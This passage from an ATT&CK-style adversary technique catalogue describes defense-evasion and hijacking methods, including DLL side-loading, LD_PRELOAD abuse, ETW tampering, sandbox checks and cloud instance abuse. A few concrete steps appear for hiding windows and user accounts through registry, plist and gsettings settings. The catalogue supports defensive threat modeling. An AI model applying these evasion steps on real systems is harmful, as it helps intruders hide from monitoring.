separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.\nT1480.001 | Environmental Keying | Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.\nT1578.004 | Revert Cloud Instance | An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)\nT1578.003 | Delete Cloud Instance | An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)\nT1578.001 | Create Snapshot | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)\nT1578.002 | Create Cloud Instance | An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.\nT1127.001 | MSBuild | Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)\nT1027.005 | Indicator Removal from Tools | Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.\nT1562.006 | Indicator Blocking | An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).\nT1027.004 | Compile After Delivery | Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\nT1574.004 | Dylib Hijacking | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)\nT1078.004 | Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.\nT1564.004 | NTFS File Attributes | Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\nT1564.003 | Hidden Window | Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1564.002 | Hidden Users | Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.\nT1574.006 | Dynamic Linker Hijacking | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) \nT1574.002 | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)\nT1574.001 | DLL Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1574.008 | Path Interception by Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\nT1574.007 | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\nT1574.009 | Path Interception by Unquoted Path | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\nT1574.011 | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)\nT1574.005 | Executable Installer File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574.010 | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574 | Hijack Execution Flow | Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\nT1497.003 | Time Based Evasion | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)\nT1497.002 | User Activity Based Checks | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \nT1497.001 | System Checks | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)\nT1564.001 | Hidden Files and Directories | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a 